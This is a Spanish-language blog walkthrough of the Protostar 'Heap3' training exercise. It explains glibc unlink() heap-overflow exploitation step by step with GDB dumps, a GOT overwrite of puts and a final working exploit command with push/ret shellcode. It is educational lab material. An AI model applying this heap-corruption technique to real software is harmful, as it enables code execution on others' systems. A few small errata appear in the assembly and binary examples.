Hace ya algún tiempo vi por Twitter a @esanfelix que hacía referencia a una máquina virtual de ejercicios de exploiting y tomé nota de la dirección para cuando encontrara un hueco. Al final este verano encontré pequeños huecos para ir haciendo los ejercicios y os tengo que decir que la experiencia después de haber hecho los ejercicios de la versión protostar es altamente recomendable. Ahora mismo estoy empezando los ejercicios de la versión máquina virtual fusion y el objetivo es hacer todos los que el tiempo libre me permita ;-).
En esta primera entrada sobre esta temática, que espero que no sea la única, me gustaría contaros cómo resolver el ejercicio de título “Heap3” de la máquina virtual protostar, sobre todo intentando contar aquellas cosas que he tenido que investigar y aprender. El objetivo de este ejercicio es explotar una vulnerabilidad en el algoritmo de reserva de memoria dinámica implementado en la librería glibc (ptmalloc). Antes de empezar con los detalles comentar que he usado de guía para resolverlo la entrada del blog kroosec [3] y para entender las técnicas utilizadas ha sido vital el paper de Newlog_ [1] y el libro de blackngel [2]. De hecho decir que blackngel resuelve justo este ejercicio. Mi granito de arena en este caso es complementar su resolución con cosas que para un exploiter experimentado son obvias, pero que para alguien menos experimentado en este campo pueden venirle bien (o eso espero).
Tras situarnos vamos a empezar con la resolución paso a paso. Lo primero de todo es analizar el código que tendremos que explotar:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> void winner() { printf("that wasn't too bad now, was it? @ %d\n", time(NULL)); } int main(int argc, char **argv) { char *a, *b, *c; a = malloc(32); b = malloc(32); c = malloc(32); strcpy(a, argv[1]); strcpy(b, argv[2]); strcpy(c, argv[3]); free(c); free(b); free(a); printf("dynamite failed?\n"); }
Como vemos es un programa sencillo donde se crean tres variables de 32 bytes y se copia dentro de ellas lo que le pasemos como argumento al programa. Entonces para resolver el ejercicio tenemos que ejecutar la función winner(), que como vemos no se llama desde la función main y al conseguir ejecutarla habremos cambiado el flujo del programa. Es necesario aclarar, que la librería glibc que utiliza el binario “/opt/protostar/bin/heap3” de la máquina virtual es antigua y por lo tanto tiene vulnerabilidades que en versiones recientes ya no existen.
Viendo que hay tres free() seguidos, que utiliza una versión antigua de la librería glibc y la pista que hay en el enunciado del ejercicio, uno ya va viendo que se trata de aprovechar la vulnerabilidad de la macro unlink() cuando se libere memoria con la función free(). Para entender la vulnerabilidad de la macro unlink() os aconsejo revisar el paper de Newlog desde la página 32 a la 39. Siento poneros un puntero a este paper y no hacerlo autocontenido, pero está muy bien explicado y en castellano, así que merece la pena que saltéis y hagáis un ret cuando acabéis. Importante es tener siempre en mente la estructura de datos de un fragmento de memoria reservado y libre (lo que llaman “chunk”).
Entendido el objetivo del ejercicio, vamos a ir viendo paso a paso la ejecución del programa y cómo aprovechar la vulnerabilidad. Lo primero que vamos a ver es lo que pasa cuando se ejecuta de manera normal el binario con tres argumentos:
La memoria presenta el aspecto del dibujo anterior, con los campos “prev_size” y “size” rellenos y los datos de usuario en el campo “user data”, y como vemos las tres reservas se sitúan contiguas en memoria.
Como es obvio, a la vista del dibujo anterior, si se produce un desbordamiento del campo “user data” del fragmento a o b, se sobrescribirán las secciones de control del siguiente bloque de memoria. Viendo esta ejecución sin overflow desde un debugger como GDB, veremos el estado de la memoria una vez se ha reservado con los diferentes malloc() y se han copiado los argumentos en los espacio de memoria reservada con las funciones strcpy(). Lo que vamos a examinar en memoria es dónde están las variables y para ello debemos saber la dirección de las variables a, b, c en la memoria. Para esto tenemos que mirar el registro EAX cuando finalice el malloc(), obteniendo estos punteros:
? a is at 0x804c008 ? b is at 0x804c030 ? c is at 0x804c058
Veamos un ejemplo de cómo localizar el puntero de la variable c:
(gdb) ni 0x080488b9 18 in heap3/heap3.c 1: x/3i $pc 0x80488b9 <main+48>: call 0x8048ff2 <malloc> <- lanzamos el malloc 0x80488be <main+53>: mov %eax,0x1c(%esp) 0x80488c2 <main+57>: mov 0xc(%ebp),%eax (gdb) ni 0x080488be 18 in heap3/heap3.c 1: x/3i $pc 0x80488be <main+53>: mov %eax,0x1c(%esp) 0x80488c2 <main+57>: mov 0xc(%ebp),%eax 0x80488c5 <main+60>: add $0x4,%eax (gdb) i r eax 0x804c058 134529112 <- Variable c ecx 0xf88 3976 edx 0xf89 3977 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff770 0xbffff770 ebp 0xbffff798 0xbffff798 esi 0x0 0 edi 0x0 0 eip 0x80488be 0x80488be <main+53> eflags 0x200286 [ PF SF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Ahora sí, vamos a examinar la memoria de una ejecución normal del programa y ver las variables:
# Colocamos el breakpoint en la línea 24 que es justo antes del primer free() (gdb) break 24 (gdb) run AAAAAAAA BBBBBBBB CCCCCCCC # Una vez se para examinamos la memoria (gdb) x/34x 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000
Lo que está en rojo son los datos de control y lo que está en azul son los datos de usuario. Después de ejecutarse los tres free(), la memoria tendrá el siguiente aspecto:
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x0804c050 0x42424242 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000
En la memoria vemos como cuando se realiza el free(b) se coloca el puntero al siguiente bloque libre que es 0x0804c050, que se corresponde con el espacio de memoria liberado cuando se ha hecho el free(c). De igual forma, cuando se realiza free(a) se coloca el puntero al siguiente bloque libre, 0x0804c028, resultado de hacer free(b).
Ya hemos visto el comportamiento cuando se realiza una ejecución normal, ahora nos toca ver qué sucede cuando se introducen más de 32 bytes en el segundo argumento para sobrescribir los campos “prev_size” y “size” del fragmento de memoria de la variable c. Para esto haremos:
(gdb) run `python -c "print 'A'*8+' '+'B'*32+'E'*5+'E'*4+' '+'C'*8"` (gdb) x/34x 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x45454545 0x45454545 0x43434343 0x43434343 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000
Como vemos la memoria en la dirección 0x0804c050 muestra cómo hemos conseguido sobrescribir los campos “prev_size” y “size” del último fragmento, con el valor hexadecimal de la letra ‘E’.
Con el control sobre “prev_size” y “size” tenemos que ver qué valor introducimos para tomar el control. En blog kroosec [3] vemos cómo introducen un valor de -5 y un valor de -4. A continuación explicamos el porqué de estos valores. Aún así, si no queda del todo claro recomiendo leer el capítulo del heap del libro de blackngel [2], ya que allí lo explica muy bien.
Lo primero tal y como nos cuenta @newlog_ en su paper [1] es que una de las ventajas de utilizar valores negativos es que no introduciremos bytes nulos, con lo que nos evitamos los problemas derivados de los bytes nulos.
Después dado que controlamos el campo “size”, vamos a modificar su valor para que se ejecute la macro unlink() y escribir 4 bytes donde nosotros queramos, aprovechando con esto la vulnerabilidad de unlink(). Recordemos que para saber si se debe ejecutar la macro unlink() o no el algoritmo consulta el campo “size” del siguiente fragmento para ver si el último bit está puesto a 0. Por tanto si queremos activar la macro unlink() el último bit de size debe estar a cero.
Al fijar el valor de “prev_size” a -5 y el de “size” a -4 lo que hacemos es crear un cuarto fragmento falso y activar macro unlink(). Vamos a intentar explicar cómo estos dos valores negativos consiguen lo que acabamos de decir. Como indica la documentación, para ver dónde está el siguiente fragmento se utiliza el campo size como offset. Centrándonos en nuestro caso el fragmento [c] tiene en el campo size, después de sobrescribir su valor con el overflow, el valor -4. El campo size se usa como offset para saber dónde está el inicio del siguiente fragmento. En este caso cogerá el inicio del fragmento [c] y le restará 4, obteniendo que el inicio del fragmento ficticio [d] estará en el final del fragmento (b). Veamos gráficamente que implica un valor de -4 en el campo size:
Si nos fijamos en la imagen de arriba, tenemos un nuevo fragmento (d), donde el campo size de este fragmento coincide con el prev_size del fragmento [c] y el campo prev_size de d está contenido en el campo “user data” de b. Entonces el valor que activará la macro unlink() es el valor de prev_size del fragmento c, que será el size del fragmento ficticio que hemos bautizado como d.
Cuando el algoritmo compruebe el campo “size” del fragmento (d) se encontrará con el valor (-5) cuyo valor hexadecimal es: FF FF FF F8 y viendo su valor binario vemos que el último bit (PREV_INUSE) activa unlink() ya que vale 0:
1111 1111 1111 1111 1111 1111 1111 0100 = FF FF FF F8
Vamos a ejecutar el programa con los valores que acabamos de mencionar (-4 y -5) y veamos la memoria y los registros:
(gdb) run A `python -c "print 'B'*32 + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff' + 'A'*8 + 'B'*4 + 'C'*4"` C
Una vez ejecutado este comando si vemos lo que tienen los registros nos encontraremos con:
(gdb) i r eax 0x42424242 1111638594 ecx 0x0 0 edx 0x43434343 1128481603 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff6e0 0xbffff6e0 ebp 0xbffff728 0xbffff728 esi 0x0 0 edi 0x0 0 eip 0x80498fd 0x80498fd <free+217> eflags 0x210202 [ IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Y si observamos la instrucción que hay cargada en $eip , tenemos que:
0x80498fd <free+217>: mov %edx,0xc(%eax)
Esta instrucción mueve lo que hay en %edx a %eax+12. Y como vemos arriba son los elementos que controlamos al sobrescribir.
En este punto, ya sabemos cómo escribir 4 bytes donde nosotros queramos. Entonces, para ejecutar nuestro shellcode lo que vamos a hacer es sobrescribir una de las direcciones de alguna función que esté en la tabla GOT (Global Offset Table), con lo que cuando se ejecute esa función ejecutará la dirección que nosotros hemos puesto y por tanto nuestro shellcode.
Para empezar examinamos la tabla dinámica:
user@protostar:/opt/protostar/bin$ objdump -R ./heap3 ./heap3: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804b0e4 R_386_GLOB_DAT __gmon_start__ 0804b140 R_386_COPY stderr 0804b0f4 R_386_JUMP_SLOT __errno_location 0804b0f8 R_386_JUMP_SLOT mmap 0804b0fc R_386_JUMP_SLOT sysconf 0804b100 R_386_JUMP_SLOT __gmon_start__ 0804b104 R_386_JUMP_SLOT mremap 0804b108 R_386_JUMP_SLOT memset 0804b10c R_386_JUMP_SLOT __libc_start_main 0804b110 R_386_JUMP_SLOT sbrk 0804b114 R_386_JUMP_SLOT memcpy 0804b118 R_386_JUMP_SLOT strcpy 0804b11c R_386_JUMP_SLOT printf 0804b120 R_386_JUMP_SLOT fprintf 0804b124 R_386_JUMP_SLOT time 0804b128 R_386_JUMP_SLOT puts 0804b12c R_386_JUMP_SLOT munmap
Entonces nuestro objetivo va a ser poner aquí la dirección de nuestro shellcode o de lo que queremos ejecutar. Entonces lo primero que pensamos para resolver el ejercicio es poner aquí la dirección de la función winner() que obtenemos así:
$ nm /opt/protostar/bin/heap3 08048864 T winner
La idea, como ya hemos adelantado, es ubicar en la dirección 0x0804b128-12 el valor 0x08048864 y así cuando vaya a ejecutar la función puts() ejecutará la función winner().
Obtenemos el valor: >>> print hex(0x0804b128-12) 0x804b11c >>>
Probemos a ver con estos dos valores y a ver si conseguimos ejecutar la función winner():
(gdb) run A `python -c "print 'B'*32 + '\xfb\xff\xff\xff' + '\xfc\xff\xff\xff'+ 'A'*5 + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"` C Program received signal SIGSEGV, Segmentation fault. 0x08049906 in free (mem=0x804c058) at common/malloc.c:3638 3638 in common/malloc.c (gdb) x/34x 0x804c058 0x804c058: 0x41410043 0x04b11c41 0x04886408 0x00000008 0x804c068: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c078: 0x00000000 0x00000f89 0x00000000 0x00000000 0x804c088: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c098: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0a8: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0b8: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0c8: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0d8: 0x00000000 0x00000000 (gdb) i r eax 0x8048864 134514788 ecx 0x0 0 edx 0x804b11c 134525212 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff6f0 0xbffff6f0 ebp 0xbffff738 0xbffff738 esi 0x0 0 edi 0x0 0 eip 0x8049906 0x8049906 <free+226> eflags 0x210206 [ PF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/i $eip 0x8049906 <free+226>: mov %edx,0x8(%eax) (gdb)
Viendo el resultado de la ejecución sigue no ejecutándose correctamente. Hemos hecho un pequeño progreso, pero aún no conseguimos ejecutar la función winner(), ¿por qué? Como vemos arriba falla cuando intentamos copiar en eax+8 el valor de edx, que si nos fijamos en lo que está haciendo es copiar el puntero a GOT[puts] -12 (0x804b11c) hacia el valor de winner+8 (0x08048864+8) provocando el segmentation fault, ya que winner+8, es una dirección de solo lectura de la sección .text y no se puede escribir sobre ella.
La razón de este comportamiento es algo que no habíamos tenido en cuenta y es la cuarta línea de la macro unlink():
#define unlink( P, BK, FD ) { \ BK = P->bk; \ FD = P->fd; \ FD->bk = BK; \ BK->fd = FD; \ }
La solución a este problema pasa por copiar en GOT[puts]-12 una dirección que apunte al shellcode que almacenaremos en el primer fragmento y desde ahí saltaremos a winner(). Como no estaremos apuntando sobre winner directamente y será el heap con permiso de escritura no se producirá una violación de segmento en la cuarta escritura de la macro unlink().
A continuación vamos a construir un shellcode que salte a la dirección de la función winner. Para eso lo haremos con un push/ret:
$ cat pushret.asm mov 0x08048864, eax ret $ objdump -d pushret.o pushret.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: 68 64 88 04 08 push $0x8048864 5: c3 ret
El shellcode será “68 64 88 04 08 c3”. Este shellcode tiene un tamaño de 6 bytes, por lo que no será sobrescrito por la cuarta escritura de la macro unlink() y por tanto no destrozará el shellcode. Si fuera más grande deberíamos tener en cuenta que la cuarta escritura de la macro unlink() nos lo puede sobrescribir. Después de estos pequeños ajustes quedaría así la ejecución:
$ /opt/protostar/bin/heap3 `python -c "print 'A'*4+'\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32+'\xf9\xff\xff\xff'+'\xfc\xff\xff\xff'+'AAAAAAA'+ '\x1c\xb1\x04\x08'+'\x0c\xc0\x04\x08'"` C that wasn't too bad now, was it? @ 1380116991
Como vemos hemos conseguido ejecutar la función winner(), tal y como era nuestro objetivo. Si algún exploiter experimentado encuentra alguna errata le agradeceré que me lo comunique para mejorar la entrada.
A continuación os pongo las referencias que para mí han sido imprescindibles para entender diferentes puntos del ejercicio. La referencia número tres me ha servido de guía para la resolución del ejercicio y la referencia 1 y 2, me han ayudado a entender muchos de los aspectos de cómo explotar la vulnerabilidad.
Referencias:
2. Linux Exploiting. Técnicas de explotación de vulnerabilidades en Linux para la creación de exploits. (blackngel)
3. Resolución del ejercicio Heap3, documento que ha servido de guía: http://www.kroosec.com/2013/01/protostar-heap3.html
4. The Malloc Maleficarum
5. Malloc Des-Maleficarum
6. Vudo Malloc Tricks
Buenas José!
Gracias por mencionar mis papers :)
Actualmente yo también estoy enfrascado con estos retos, así que me he tenido que mirar tu post en diagonal. Sin embargo, con lo largo que es y los dumps de memoria que he visto, creo que va a ser muy completo! Cuando haga los retos, sacaré un rato para echarle una buena lectura ^^
Tanto el libro como los papers de blackngel son geniales. De lo mejor que hay en la materia. Todo explicado de manera clara y concisa.
Sobre mi paper y las ‘nuevas técnicas’ que introduce, después de que blacngel quisiera discutirlo conmigo, me parece que fui más optimista de lo que debiera. JFYI :)
Un saludo y ánimos :)
Hola newlog,
Ahora mismo estoy con el fusion 02 y si el tiempo me lo permite iré escribiendo entradas con lo que vaya aprendiendo. Como se que estás enfrascado en el tema, me pasaré por vuestro foro y lanzaré mis dudas :P.
Por otro lado, como bien comentas, el material de blackngel es muy bueno. Ahora mismo estoy con su libro y es .. para mi, brutal.
Sobre las nuevas técnicas y el optimismo, sería interesante conocer los detalles de esa conversación, para seguir aprendiendo :-).
Bueno, cuando tengas tiempo para leer el post con detenimiento ya me cuentas y sobretodo si detectas cualquier error, no dudes en avisarme para que la entrada quede lo mejor posible.
Un saludo y gracias por el comentario.